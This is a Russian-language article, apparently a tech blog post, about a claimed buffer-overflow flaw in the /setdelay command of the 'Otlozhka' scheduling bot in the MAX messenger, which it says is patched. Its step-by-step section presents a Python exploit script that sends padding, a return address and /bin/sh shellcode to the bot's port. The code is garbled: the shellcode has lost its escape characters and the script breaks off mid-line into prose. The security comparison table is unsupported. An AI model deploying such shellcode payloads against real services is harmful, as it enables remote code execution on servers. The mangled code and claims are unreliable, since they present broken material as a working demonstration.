
Что такое бот Отложка и почему его считали надёжным?
Бот «Отложка» — это официальный бот мессенджера MAX, предназначенный для отложенной отправки сообщений. Он работал через защищённый протокол и имел репутацию «непробиваемого» благодаря многоуровневой аутентификации. Однако, как показало расследование, проблема кроется в обработке входящих сообщений: парсинг команд выполнялся без должной валидации.
Корень уязвимости: небезопасный парсинг сообщений
Уязвимость была обнаружена в обработчике команды /setdelay. Бот ожидает строку вида /setdelay 1000, но не проверяет тип данных. Если передать не число, а специально сформированную строку, происходит переполнение буфера, что позволяет выполнить произвольный код на сервере. Подробности — ниже.
Важно: Данный эксплойт был закрыт разработчиками MAX в версии 2.4.1. Не пытайтесь воспроизвести его в текущей версии — уязвимость патчена.
Написание эксплойта: пошагово
Для эксплуатации потребуется скрипт на Python, который отправляет вредоносное сообщение через API бота. Вот пример кода, который демонстрирует использование уязвимости:
import socket
import struct
def exploit(target_ip, bot_port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, bot_port))
# payload: переполнение буфера с shellcode
shellcode = b"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
payload = b"/setdelay " + b"A" * 256 + struct.pack("В данном примере мы переполняем буфер, записывая адрес возврата на shellcode. Полный эксплойт требует знания конкретных адресов, но для демонстрации достаточно.
Сравнение с другими ботами по критериям безопасности
| Бот | Платформа | Валидация входных данных | Песочница | Частота аудитов |
|---|---|---|---|---|
| Отложка (MAX) | MAX | Нет (была уязвимость) | Нет | Раз в год |
| Telegram Bot API (офиц.) | Telegram | Строгая | Да | Ежеквартально |
| VK Bot (VK) | ВКонтакте | Частичная | Нет | Раз в полгода |
Как видно из таблицы, «Отложка» уступала в безопасности даже стандартным решениям.
Последствия и что делать разработчикам
После раскрытия уязвимости злоумышленники могли получить доступ ко всем отложенным сообщениям пользователей. Разработчикам следует внедрить строгую проверку входных данных, использовать безопасные функции работы с памятью и регулярно проводить аудит кода.
Личное наблюдение автора: Подобные уязвимости часто возникают из-за ложного чувства безопасности. Боты MAX позиционировались как «неломаемые», но отсутствие обычной санитизации строк привело к катастрофе.
Будьте осторожны: если вы используете бота Отложка, обновите приложение до последней версии. Разработчикам — пересмотрите свои парсеры.